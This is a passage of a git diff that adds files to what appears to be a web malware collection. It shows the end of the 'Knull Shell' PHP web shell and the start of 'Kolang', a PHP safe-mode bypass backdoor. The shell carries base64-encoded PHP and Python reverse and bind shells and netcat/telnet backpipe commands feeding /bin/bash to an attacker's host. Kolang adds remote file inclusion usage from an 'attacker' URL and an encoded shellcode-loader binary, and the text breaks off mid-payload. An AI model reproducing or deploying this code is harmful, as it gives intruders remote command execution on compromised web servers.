+JGZwPXBvcGVuKCRjLCdyJyk7CgkJJG89TlVMTDsKCQlpZihpc19yZXNvdXJjZSgkZnApKXsKCQkJ +d2hpbGUoIWZlb2YoJGZwKSl7CgkJCQkkby49ZnJlYWQoJGZwLDEwMjQpOwoJCQl9CgkJfQoJCUBw +Y2xvc2UoJGZwKTsKCX1lbHNlIGlmKCRpc2MoJ3NoZWxsX2V4ZWMnKWFuZCEkaW5hKCdzaGVsbF9l +eGVjJywkZGYpKXsKCQkkbz1zaGVsbF9leGVjKCRjKTsKCX1lbHNlIHsKCQkkbz0wOwoJfQoJCQoJ +fQoJQHNvY2tldF93cml0ZSgkbXNnc29jaywkbyxzdHJsZW4oJG8pKTsKfQpAc29ja2V0X2Nsb3Nl +KCRtc2dzb2NrKTsKfSBlbHNlIHsKCWVjaG8gJ3VzYWdlOiAnIC4gJGFyZ3ZbMF0gLiAnIHBvcnQn +IC4gIlxuIjsKfQoKPz4K"; + + + @$fh=fopen($uniqfn,"wb+"); + @fwrite($fh,base64_decode($php_bind)); + @fclose($fh); + $command = 'php ' . $uniqfn . ' ' . $_POST['ip'] . ' ' . $_POST['port'] . ' > /dev/null &'; + if (exec_method($command)) { + echo '<p>PHP Bindshell (should be) listening on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>'; + } else { + echo '<p class="error">Unable to execute PHP Bindshell</p>'; + } + + + } else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'phprev')){ + +$php_rev = 'IyEvdXNyL2Jpbi9waHAKPD9waHAKLyogCktudWxsJ3MgbW9kaWZpZWQgYG1zZnBheWxvYWQgcGhw +L3JldmVyc2VfcGhwIExIT1NUPVguWC5YLlggUmBgCiovCgppZiAoJGFyZ2MgPT09IDMpIHsKCgkk +aXBhZGRyPSRhcmd2WzFdOwoJJHBvcnQ9JGFyZ3ZbMl07CgkJCglAc2V0X3RpbWVfbGltaXQoMCk7 +IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7 +CgkkZGY9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CglpZighZW1wdHkoJGRmKSl7CgkJ +JGRmPXByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJGRpcyk7CgkJJGRmPWV4cGxvZGUoJywn +LCAkZGlzKTsKCQkkZGY9YXJyYXlfbWFwKCd0cmltJywgJGRpcyk7Cgl9ZWxzZXsKCQkkZGY9YXJy +YXkoKTsKCX0KCQkJCgoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnY2V4ZScpKXsKCQlmdW5jdGlvbiBj +ZXhlKCRjKXsKCQkJZ2xvYmFsICRkZjsKCQkJCgkJaWYgKEZBTFNFICE9PSBzdHJwb3Moc3RydG9s +b3dlcihQSFBfT1MpLCAnd2luJyApKSB7CgkJCSRjPSRjLiIgMj4mMVxuIjsKCQl9CgkJJGlzYz0n +aXNfY2FsbGFibGUnOwoJCSRpc2E9J2luX2FycmF5JzsKCQkKCQlpZigkaXNjKCdzeXN0ZW0nKWFu +ZCEkaXNhKCdzeXN0ZW0nLCRkZikpewoJCQlvYl9zdGFydCgpOwoJCQlzeXN0ZW0oJGMpOwoJCQkk +bz1vYl9nZXRfY29udGVudHMoKTsKCQkJb2JfZW5kX2NsZWFuKCk7CgkJfWVsc2UKCQlpZigkaXNj +KCdwb3BlbicpYW5kISRpc2EoJ3BvcGVuJywkZGYpKXsKCQkJJGZwPXBvcGVuKCRjLCdyJyk7CgkJ +CSRvPU5VTEw7CgkJCWlmKGlzX3Jlc291cmNlKCRmcCkpewoJCQkJd2hpbGUoIWZlb2YoJGZwKSl7 +CgkJCQkJJG8uPWZyZWFkKCRmcCwxMDI0KTsKCQkJCX0KCQkJfQoJCQlAcGNsb3NlKCRmcCk7CgkJ +fWVsc2UKCQlpZigkaXNjKCdwcm9jX29wZW4nKWFuZCEkaXNhKCdwcm9jX29wZW4nLCRkZikpewoJ +CQkkaGFuZGxlPXByb2Nfb3BlbigkYyxhcnJheShhcnJheShwaXBlLCdyJyksYXJyYXkocGlwZSwn +dycpLGFycmF5KHBpcGUsJ3cnKSksJHBpcGVzKTsKCQkJJG89TlVMTDsKCQkJd2hpbGUoIWZlb2Yo +JHBpcGVzWzFdKSl7CgkJCQkkby49ZnJlYWQoJHBpcGVzWzFdLDEwMjQpOwoJCQl9CgkJCUBwcm9j +X2Nsb3NlKCRoYW5kbGUpOwoJCX1lbHNlCgkJaWYoJGlzYygnZXhlYycpYW5kISRpc2EoJ2V4ZWMn +LCRkZikpewoJCQkkbz1hcnJheSgpOwoJCQlleGVjKCRjLCRvKTsKCQkJJG89am9pbihjaHIoMTAp +LCRvKS5jaHIoMTApOwoJCX1lbHNlCgkJaWYoJGlzYygncGFzc3RocnUnKWFuZCEkaXNhKCdwYXNz +dGhydScsJGRmKSl7CgkJCW9iX3N0YXJ0KCk7CgkJCXBhc3N0aHJ1KCRjKTsKCQkJJG89b2JfZ2V0 +X2NvbnRlbnRzKCk7CgkJCW9iX2VuZF9jbGVhbigpOwoJCX1lbHNlCgkJaWYoJGlzYygnc2hlbGxf +ZXhlYycpYW5kISRpc2EoJ3NoZWxsX2V4ZWMnLCRkZikpewoJCQkkbz1zaGVsbF9leGVjKCRjKTsK +CQl9ZWxzZQoJCXsKCQkJJG89MDsKCQl9CgkKCQkJcmV0dXJuICRvOwoJCX0KCX0KCSRub2Z1bmNz +PSdubyBleGVjIGZ1bmN0aW9ucyc7CglpZihpc19jYWxsYWJsZSgnZnNvY2tvcGVuJylhbmQhaW5f +YXJyYXkoJ2Zzb2Nrb3BlbicsJGRmKSl7CgkJJHM9QGZzb2Nrb3BlbigkaXBhZGRyLCRwb3J0KTsK +CQl3aGlsZSgkYz1mcmVhZCgkcywyMDQ4KSl7CgkJCSRvdXQgPSAnJzsKCQkJaWYoc3Vic3RyKCRj +LDAsMykgPT0gJ2NkICcpewoJCQkJY2hkaXIoc3Vic3RyKCRjLDMsLTEpKTsKCQkJfSBlbHNlIGlm +IChzdWJzdHIoJGMsMCw0KSA9PSAncXVpdCcgfHwgc3Vic3RyKCRjLDAsNCkgPT0gJ2V4aXQnKSB7 +CgkJCQlicmVhazsKCQkJfWVsc2V7CgkJCQkkb3V0PWNleGUoc3Vic3RyKCRjLDAsLTEpKTsKCQkJ +CWlmKCRvdXQ9PT1mYWxzZSl7CgkJCQkJZndyaXRlKCRzLCRub2Z1bmNzKTsKCQkJCQlicmVhazsK +CQkJCX0KCQkJfQoJCQlmd3JpdGUoJHMsJG91dCk7CgkJfQoJCWZjbG9zZSgkcyk7Cgl9ZWxzZXsK +CQkkcz1Ac29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApOwoJCUBzb2Nr +ZXRfY29ubmVjdCgkcywkaXBhZGRyLCRwb3J0KTsKCQlAc29ja2V0X3dyaXRlKCRzLCJzb2NrZXRf +Y3JlYXRlIik7CgkJd2hpbGUoJGM9QHNvY2tldF9yZWFkKCRzLDIwNDgpKXsKCQkJJG91dCA9ICcn +OwoJCQlpZihzdWJzdHIoJGMsMCwzKSA9PSAnY2QgJyl7CgkJCQljaGRpcihzdWJzdHIoJGMsMywt +MSkpOwoJCQl9IGVsc2UgaWYgKHN1YnN0cigkYywwLDQpID09ICdxdWl0JyB8fCBzdWJzdHIoJGMs +MCw0KSA9PSAnZXhpdCcpIHsKCQkJCWJyZWFrOwoJCQl9ZWxzZXsKCQkJCSRvdXQ9Y2V4ZShzdWJz +dHIoJGMsMCwtMSkpOwoJCQkJaWYoJG91dD09PWZhbHNlKXsKCQkJCQlAc29ja2V0X3dyaXRlKCRz +LCRub2Z1bmNzKTsKCQkJCQlicmVhazsKCQkJCX0KCQkJfQoJCQlAc29ja2V0X3dyaXRlKCRzLCRv +dXQsc3RybGVuKCRvdXQpKTsKCQl9CgkJQHNvY2tldF9jbG9zZSgkcyk7Cgl9Cn0gZWxzZSB7CiAg +ICAgICAgZWNobyAndXNhZ2U6ICcgLiAkYXJndlswXSAuICcgcG9ydCcgLiAiXG4iOwp9Cgo/Pgo= +'; + + @$fh=fopen($uniqfn,"wb+"); + @fwrite($fh,base64_decode($php_rev)); + @fclose($fh); + $command = 'php ' . $uniqfn . ' ' . $_POST['ip'] . ' ' . $_POST['port'] . ' > /dev/null &'; + if (exec_method($command)) { + echo '<p>Check your nc listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>'; + } else { + echo '<p class="error">Unable to execute PHP reverse shell</p>'; + } + + } else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'pyrev')){ + +$py_rev = 'aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHN5cwoKcz1zb2NrZXQuc29ja2V0KHNvY2tldC5B +Rl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KChzeXMuYXJndlsxXSxpbnQoc3lz +LmFyZ3ZbMl0pKSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpv +cy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7 +Cg=='; + + @$fh=fopen($uniqfn,"wb+"); + @fwrite($fh,base64_decode($py_rev)); + @fclose($fh); + $command = 'python ' . $uniqfn . ' ' . $_POST['ip'] . ' ' . $_POST['port'] . ' > /dev/null &'; + if (exec_method($command)) { + echo '<p>Check your nc listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>'; + } else { + echo '<p class="error">Unable to execute Python reverse shell</p>'; + } + + } else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'ncbp')){ + + $bpname = '/tmp/' . sess_fname(); + $cmdfile = 'mknod ' . $bpname . ' p && nc ' . $_POST['ip'] . ' ' . $_POST['port'] . ' 0<' . $bpname . ' | /bin/bash 1>' . $bpname . ' &'; + @$fh=fopen($uniqfn,"wb+"); + @fwrite($fh,$cmdfile); + @fclose($fh); + $command = '/bin/bash ' . $uniqfn . ' > /dev/null &'; + if (exec_method($command)) { + echo '<p>Check your Netcat listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>'; + } else { + echo '<p class="error">Unable to execute Netcat Backpipe</p>'; + } + + + } else if (isset($_POST['bd_host']) && ($_POST['bd_host'] === 'tnbp')){ + + $bpname = '/tmp/' . sess_fname(); + $cmdfile = 'mknod ' . $bpname . ' p && telnet ' . $_POST['ip'] . ' ' . $_POST['port'] . ' 0<' . $bpname . ' | /bin/bash 1>' . $bpname; + @$fh=fopen($uniqfn,"wb+"); + @fwrite($fh,$cmdfile); + @fclose($fh); + $command = '/bin/bash ' . $uniqfn . ' > /dev/null &'; + if (exec_method($command)) { + echo '<p>Check your Netcat listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>'; + } else { + echo '<p class="error">Unable to execute Telnet Backpipe</p>'; + } + + + } + } +echo '</fieldset>'; + + +} + +?> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" + "http://www.w3.org/TR/html4/strict.dtd"> +<html> +<head> + <title>Knull Shell</title> +<style type="text/css"> + +body { + font-family: sans-serif; + color: black; + background: #f3f3f3; +} + +h4 { + color: navy; +} + +img { + border: none; +} + +div#terminal { + border: inset 2px navy; + padding: 2px; + margin-top: 0.5em; +} + +div#terminal textarea { + color: white; + background: black; + font-size: 100%; + width: 100%; + border: none; +} + +p { + margin-top: 0.5em; + margin-bottom: 0.5em; +} + +p#prompt { + color: white; + background: black; + font-family: monospace; + margin: 0px; +} + +p#prompt input { + color: white; + background: black; + border: none; + font-family: monospace; +} + +legend { + padding-right: 0.5em; +} + +fieldset { + padding: 0.5em; +} + +div#navycolor { + + color: navy; + +} + +.error { + color: red; +} + +</style> +</head> + +<body> + +<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post"> + +<?php +if (!$_SESSION['authenticated']) { +?> + +<fieldset> + <legend><h4>Authentication</h4></legend> + + <?php + if (!empty($username)) + echo ' <p class="error">Login failed, please try again:</p>' . "\n"; + ?> + + <p>Username: <input name="username" type="text" value="<?php echo $username + ?>"></p> + + <p>Password: <input name="password" type="password"></p> + + <p><input type="submit" value="Login"></p> + +</fieldset> + +<?php } else { /* Auth'd */ ?> + +<fieldset> + <legend><h4>Server Details</h4></legend> +ServerIP: <?php echo $_SERVER['SERVER_ADDR']; ?> &nbsp;&nbsp; VHost: <?php echo htmlspecialchars($_SERVER['SERVER_NAME']); ?> &nbsp;&nbsp; YourIP: <?php if (empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { echo htmlspecialchars($_SERVER['REMOTE_ADDR']); } else { echo htmlspecialchars($_SERVER['HTTP_X_FORWARDED_FOR']); } ?> &nbsp;&nbsp; Software: <?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE']); ?><br />UserAgent: <?php echo htmlspecialchars($_SERVER['HTTP_USER_AGENT']); ?><br /> +Pwd: <?php echo htmlspecialchars($_SESSION['cwd'], ENT_COMPAT, 'UTF-8'); ?> <br /> +ServerSig: <?php echo htmlspecialchars($_SERVER['SERVER_SIGNATURE'])?> +<div id="terminal"> +<textarea name="output" readonly="readonly" cols="<?php echo $columns ?>" rows="<?php echo $rows ?>"> +<?php +$lines = substr_count($_SESSION['output'], "\n"); +$padding = str_repeat("\n", max(0, $rows+1 - $lines)); +echo rtrim($padding . $_SESSION['output']); +?> +</textarea> +<p id="prompt"> + $&nbsp;<input name="cmd" type="text" + onkeyup="key(event)" size="<?php echo $columns-2 ?>" tabindex="1"> +</p> +</div> + +<p> + <span style="float: right">Size: <input type="text" name="rows" size="2" + maxlength="3" value="<?php echo $rows ?>"> &times; <input type="text" + name="columns" size="2" maxlength="3" value="<?php echo $columns + ?>"></span> + +<input type="submit" value="Exec"> + <input type="submit" name="logout" value="Logout"> +</p> + +</fieldset> + +<?php } ?> + +</form> + +</body> +</html> diff --git a/web-malware-collection-master/Backdoors/PHP/kolang-bypass.txt b/web-malware-collection-master/Backdoors/PHP/kolang-bypass.txt new file mode 100755 index 0000000..cdce19b --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/kolang-bypass.txt @@ -0,0 +1,357 @@ +<?php +/* +Kolang (Safe mode bypass) +(IHSteam priv8 for lazy penetration testers) + +(php 4.3.10 - 5.3.0) +http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-4018 (12/19/2009) +http://www.milw0rm.com/exploits/7393 (12/09/2008) + +1- Kolang can be used directly in file inclusion RFI&LFI vulnerabilities (no upload required) +2- Kolang can execute arbitrary shellcode (just for fans of metasploit ) + +~~~~ How to use:) + +for linux: + kolang.php?os=linux&host=LHOST&port=LPORT + or + kolang.php?os=linux&shell=BASE64_ENCODED_SHELLCODE + +for freebsd: + kolang.php?os=freebsd&shell=BASE64_ENCODED_SHELLCODE + +file inclusion : + http://host/vul.php?path=http://attacker/kolang.txt?&os=linux&host=LHOST&port=LPORT + + +http://localhost/kolang.php?host=localhost&port=2121 +hamid@bugtraq ~ $ nc -vv -l -p 2121 +listening on [any] 2121 ... +connect to [127.0.0.1] from bugtraq [127.0.0.1] 40526 +id +uid=65534(nobody) gid=65533(nogroup) groups=65533(nogroup) + + +Hamid Ebadi +http://www.bugtraq.ir +contact : ebadi~bugtraq~ir + +Kolang means pickaxe (the idea came from amnafzar naming convention) +(Separ, Sarand, Alak, Skort) +*/ + + +$port= intval($_REQUEST['port']); +$host= $_REQUEST['host']; +$os= $_REQUEST['os']; + +/* + + +//compile : cc -o shellcode.so -fPIC -shared shellcode.c +// +//<?php +//$data=file_get_contents('shellcode.so'); +//file_put_contents('shellcode_base64.txt',$data); +//?> + + + + +// "shellcode loader" : load and execute arbitrary shellcode from a file +// Hamid Ebadi +#define O_RDONLY 00 ; fcntl.h +#define SHELLCODE_MAX_SIZE 1024 +// change kolang.php and shellcode loader if sys_get_temp_dir()!='/tmp' +#define SHELLCODE_FILENAME "/tmp/.X11-IHSTEAM" + +void getuid() +{ + unsetenv("LD_PRELOAD"); //not really necessary, we can remove it + int fd; + char shellcode[SHELLCODE_MAX_SIZE]; + char filename[]=SHELLCODE_FILENAME ; + // we can also pass the shellcode in program's arguments + if ((fd = open(SHELLCODE_FILENAME,O_RDONLY)) < 0) { + exit(1); + } + if (read(fd,shellcode,SHELLCODE_MAX_SIZE) < 0){ + exit(1); + } + (*(void(*)()) shellcode)(); +} + +*/ + +if ($_REQUEST['os']=='freebsd'){ +// freebsd shellcode loader (x86) +$shellcode_loader= +"f0VMRgEBAQkAAAAAAAAAAAMAAwABAAAAeAUAADQAAADsCQAAAAAAADQAIAADACgAFwAUAAEAAAAA +AAAAAAAAAAAAAADhBwAA4QcAAAUAAAAAEAAAAQAAAOQHAADkFwAA5BcAAPwAAAAYAQAABgAAAAAQ +AAACAAAA8AcAAPAXAADwFwAAoAAAAKAAAAAGAAAABAAAABEAAAAkAAAAAAAAAB0AAAAeAAAAIgAA +ABUAAAAAAAAAAAAAABoAAAAcAAAAIwAAACEAAAAbAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXAAAAFAAAABYA +AAAZAAAAAAAAAB8AAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJQAAAAAAAAAAwAB +AAAAAABwAQAAAAAAAAMAAgAAAAAAsAMAAAAAAAADAAMAAAAAAGQEAAAAAAAAAwAEAAAAAACUBAAA +AAAAAAMABQAAAAAA1AQAAAAAAAADAAYAAAAAAOgEAAAAAAAAAwAHAAAAAAB4BQAAAAAAAAMACAAA +AAAAJAcAAAAAAAADAAkAAAAAADAHAAAAAAAAAwAKAAAAAADkFwAAAAAAAAMACwAAAAAA7BcAAAAA +AAADAAwAAAAAAPAXAAAAAAAAAwANAAAAAACQGAAAAAAAAAMADgAAAAAAmBgAAAAAAAADAA8AAAAA +AKAYAAAAAAAAAwAQAAAAAACkGAAAAAAAAAMAEQAAAAAA4BgAAAAAAAADABIAAAAAAAAAAAAAAAAA +AwATAIQAAAAAAAAAAAAAABAAAAABAAAA8BcAAAAAAAARAPH/LAAAAAAAAAAAAAAAIAAAAH0AAABU +BgAAnQAAABIACAAgAAAA1AQAAAAAAAASAAYAOwAAAAAAAAAAAAAAIAAAAJcAAAAAAAAAAAAAABAA +AACjAAAA4BgAAAAAAAAQAPH/JgAAACQHAAAAAAAAEgAJAJwAAADgGAAAAAAAABAA8f8KAAAApBgA +AAAAAAARAPH/rwAAAPwYAAAAAAAAEADx/5IAAAAAAAAAAAAAABAAAACNAAAAAAAAAAAAAAAQAAAA +aQAAAAAAAAAAAAAAIAAAAFMAAAAAAAAAAAAAACAAAAAAX0RZTkFNSUMAX0dMT0JBTF9PRkZTRVRf +VEFCTEVfAF9pbml0AF9maW5pAF9fY3hhX2ZpbmFsaXplAF9fZGVyZWdpc3Rlcl9mcmFtZV9pbmZv +AF9fcmVnaXN0ZXJfZnJhbWVfaW5mbwBfSnZfUmVnaXN0ZXJDbGFzc2VzAGdldHVpZAB1bnNldGVu +dgBvcGVuAGV4aXQAcmVhZABfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZADkFwAACAAAAOgXAAAIAAAA +0BgAAAYWAADUGAAABhkAANgYAAAGIgAA3BgAAAYjAACwGAAABxQAALQYAAAHFgAAuBgAAAcZAAC8 +GAAABxoAAMAYAAAHIAAAxBgAAAchAADIGAAAByIAAMwYAAAHIwAAg+wM6BQBAADoEwIAAIPEDMMA +AAD/swQAAAD/owgAAAAAAAAA/6MMAAAAaAAAAADp4P////+jEAAAAGgIAAAA6dD/////oxQAAABo +EAAAAOnA/////6MYAAAAaBgAAADpsP////+jHAAAAGggAAAA6aD/////oyAAAABoKAAAAOmQ//// +/6MkAAAAaDAAAADpgP////+jKAAAAGg4AAAA6XD///9VieVT6AAAAABbgcMjEwAAUYC7PAAAAAB1 +WIuTLAAAAIXSdB+D7Az/s0D////oXv///4PEEOsMkIPABImDRP/////Si4NE////ixCF0nXpi4Mw +AAAAhcB0EoPsDI2DSP///1DoOP///4PEEMaDPAAAAAGLXfzJw5BVieVT6AAAAABbgcOrEgAAUIuD +OAAAAIXAdBmD7AiNg0AAAABQjYNI////UOhH////g8QQi4P8////hcB0HouDNAAAAIXAdBSD7AyN +g/z///9Q6BH///+DxBCJ9otd/MnDkJCQVYnlV1ZTgew8BAAA6AAAAABbgcM/EgAAg+wMjYPW7v// +UOh9/v//g8QQjb24+///jbPh7v///LkSAAAA86SD7AhqAI2D4e7//1Dopf7//4PEEIlF5IN95AB5 +CoPsDGoB6H/+//+D7ARoAAQAAI2F2Pv//1D/deToWP7//4PEEIXAeQqD7AxqAehX/v//jYXY+/// +/9CNZfRbXl/Jw5CQkFWJ5VZT6AAAAABbgcOmEQAAjYPw////jXD8i0D86wiQg+4E/9CLBoP4/3X0 +W17Jw4PsDOhM/v//g8QMwyRGcmVlQlNEOiBzcmMvbGliL2NzdS9pMzg2LWVsZi9jcnRpLlMsdiAx +LjcgMjAwNS8wNS8xOSAwNzozMTowNiBkZnIgRXhwICQATERfUFJFTE9BRAAvdG1wLy5YMTEtSUhT +VEVBTQAkRnJlZUJTRDogc3JjL2xpYi9jc3UvaTM4Ni1lbGYvY3J0bi5TLHYgMS42IDIwMDUvMDUv +MTkgMDc6MzE6MDYgZGZyIEV4cCAkAAAAAOQXAACcGAAAAAAAAAwAAADUBAAADQAAACQHAAAEAAAA +lAAAAAUAAACwAwAABgAAAHABAAAKAAAAtAAAAAsAAAAQAAAAAwAAAKQYAAACAAAAQAAAABQAAAAR +AAAAFwAAAJQEAAARAAAAZAQAABIAAAAwAAAAEwAAAAgAAAD6//9vAgAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAPAXAAAAAAAAAAAA +AP4EAAAOBQAAHgUAAC4FAAA+BQAATgUAAF4FAABuBQAAAAAAAAAAAAAAAAAAAAAAAABHQ0M6IChH +TlUpIDMuNC42IFtGcmVlQlNEXSAyMDA2MDMwNQAAR0NDOiAoR05VKSAzLjQuNiBbRnJlZUJTRF0g +MjAwNjAzMDUAAEdDQzogKEdOVSkgMy40LjYgW0ZyZWVCU0RdIDIwMDYwMzA1AAAuc3ltdGFiAC5z +dHJ0YWIALnNoc3RydGFiAC5oYXNoAC5keW5zeW0ALmR5bnN0cgAucmVsLmR5bgAucmVsLnBsdAAu +aW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5kYXRhAC5laF9mcmFtZQAuZHluYW1pYwAuY3RvcnMA +LmR0b3JzAC5qY3IALmdvdAAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAGwAAAAUAAAACAAAAlAAAAJQAAADcAAAAAgAAAAAAAAAEAAAABAAAACEA +AAALAAAAAgAAAHABAABwAQAAQAIAAAMAAAAUAAAABAAAABAAAAApAAAAAwAAAAIAAACwAwAAsAMA +ALQAAAAAAAAAAAAAAAEAAAAAAAAAMQAAAAkAAAACAAAAZAQAAGQEAAAwAAAAAgAAAAAAAAAEAAAA +CAAAADoAAAAJAAAAAgAAAJQEAACUBAAAQAAAAAIAAAAHAAAABAAAAAgAAABDAAAAAQAAAAYAAADU +BAAA1AQAABEAAAAAAAAAAAAAAAQAAAAAAAAAPgAAAAEAAAAGAAAA6AQAAOgEAACQAAAAAAAAAAAA +AAAEAAAABAAAAEkAAAABAAAABgAAAHgFAAB4BQAArAEAAAAAAAAAAAAABAAAAAAAAABPAAAAAQAA +AAYAAAAkBwAAJAcAAAwAAAAAAAAAAAAAAAQAAAAAAAAAVQAAAAEAAAACAAAAMAcAADAHAACxAAAA +AAAAAAAAAAABAAAAAAAAAF0AAAABAAAAAwAAAOQXAADkBwAACAAAAAAAAAAAAAAABAAAAAAAAABj +AAAAAQAAAAIAAADsFwAA7AcAAAQAAAAAAAAAAAAAAAQAAAAAAAAAbQAAAAYAAAADAAAA8BcAAPAH +AACgAAAAAwAAAAAAAAAEAAAACAAAAHYAAAABAAAAAwAAAJAYAACQCAAACAAAAAAAAAAAAAAABAAA +AAAAAAB9AAAAAQAAAAMAAACYGAAAmAgAAAgAAAAAAAAAAAAAAAQAAAAAAAAAhAAAAAEAAAADAAAA +oBgAAKAIAAAEAAAAAAAAAAAAAAAEAAAAAAAAAIkAAAABAAAAAwAAAKQYAACkCAAAPAAAAAAAAAAA +AAAABAAAAAQAAACOAAAACAAAAAMAAADgGAAA4AgAABwAAAAAAAAAAAAAAAQAAAAAAAAAkwAAAAEA +AAAAAAAAAAAAAOAIAABvAAAAAAAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAAAABPCQAAnAAA +AAAAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAhA0AABAEAAAWAAAAMQAAAAQAAAAQAAAA +CQAAAAMAAAAAAAAAAAAAAJQRAAD1AQAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAlAAAAAAAAAADAAEAAAAAAHABAAAAAAAAAwACAAAAAACwAwAAAAAAAAMAAwAAAAAAZAQAAAAA +AAADAAQAAAAAAJQEAAAAAAAAAwAFAAAAAADUBAAAAAAAAAMABgAAAAAA6AQAAAAAAAADAAcAAAAA +AHgFAAAAAAAAAwAIAAAAAAAkBwAAAAAAAAMACQAAAAAAMAcAAAAAAAADAAoAAAAAAOQXAAAAAAAA +AwALAAAAAADsFwAAAAAAAAMADAAAAAAA8BcAAAAAAAADAA0AAAAAAJAYAAAAAAAAAwAOAAAAAACY +GAAAAAAAAAMADwAAAAAAoBgAAAAAAAADABAAAAAAAKQYAAAAAAAAAwARAAAAAADgGAAAAAAAAAMA +EgAAAAAAAAAAAAAAAAADABMAAAAAAAAAAAAAAAAAAwAUAAAAAAAAAAAAAAAAAAMAFQAAAAAAAAAA +AAAAAAADABYAAQAAAAAAAAAAAAAABADx/yIAAAAAAAAAAAAAAAQA8f8xAAAAAAAAAAAAAAAEAPH/ +AQAAAAAAAAAAAAAABADx/zwAAAAAAAAAAAAAAAQA8f9HAAAAkBgAAAAAAAABAA4AVQAAAJgYAAAA +AAAAAQAPAGMAAADsFwAAAAAAAAEADAB2AAAAoBgAAAAAAAABABAAgwAAAOgXAAAAAAAAAQALAIcA +AADgGAAAAQAAAAEAEgCTAAAAeAUAAAAAAAACAAgAqQAAAOQYAAAYAAAAAQASALIAAADwBQAAAAAA +AAIACAA8AAAAAAAAAAAAAAAEAPH/vgAAAJQYAAAAAAAAAQAOAMsAAACcGAAAAAAAAAEADwDYAAAA +7BcAAAAAAAABAAwA5gAAAKAYAAAAAAAAAQAQAPIAAAD0BgAAAAAAAAIACAAIAQAAAAAAAAAAAAAE +APH/IgAAAAAAAAAAAAAABADx/zEAAAAAAAAAAAAAAAQA8f8IAQAAAAAAAAAAAAAEAPH/KQEAAAAA +AAAAAAAABADx/zUBAADkFwAAAAAAAAECCwBCAQAAAAAAAAAAAAAQAAAASwEAAPAXAAAAAAAAEQDx +/1QBAAAAAAAAAAAAACAAAABjAQAAVAYAAJ0AAAASAAgAagEAANQEAAAAAAAAEgAGAHABAAAAAAAA +AAAAACAAAACIAQAAAAAAAAAAAAAQAAAAjQEAAOAYAAAAAAAAEADx/5kBAAAkBwAAAAAAABIACQCf +AQAA4BgAAAAAAAAQAPH/pgEAAKQYAAAAAAAAEQDx/7wBAAD8GAAAAAAAABAA8f/BAQAAAAAAAAAA +AAAQAAAAxgEAAAAAAAAAAAAAEAAAAMsBAAAAAAAAAAAAACAAAADfAQAAAAAAAAAAAAAgAAAAAC91 +c3Ivc3JjL2xpYi9jc3UvaTM4Ni1lbGYvY3J0aS5TADxjb21tYW5kIGxpbmU+ADxidWlsdC1pbj4A +Y3J0c3R1ZmYuYwBfX0NUT1JfTElTVF9fAF9fRFRPUl9MSVNUX18AX19FSF9GUkFNRV9CRUdJTl9f +AF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AG9iamVj +dC4yAGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBf +X0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAL3Vzci9zcmMvbGliL2NzdS9pMzg2LWVs +Zi9jcnRuLlMAc2hlbGxjb2RlLmMAX19kc29faGFuZGxlAHVuc2V0ZW52AF9EWU5BTUlDAF9fY3hh +X2ZpbmFsaXplAGdldHVpZABfaW5pdABfX2RlcmVnaXN0ZXJfZnJhbWVfaW5mbwByZWFkAF9fYnNz +X3N0YXJ0AF9maW5pAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABleGl0AG9wZW4A +X0p2X1JlZ2lzdGVyQ2xhc3NlcwBfX3JlZ2lzdGVyX2ZyYW1lX2luZm8A"; +}else{ +// default: linux +// linux shellcode loader (x86) +$shellcode_loader= 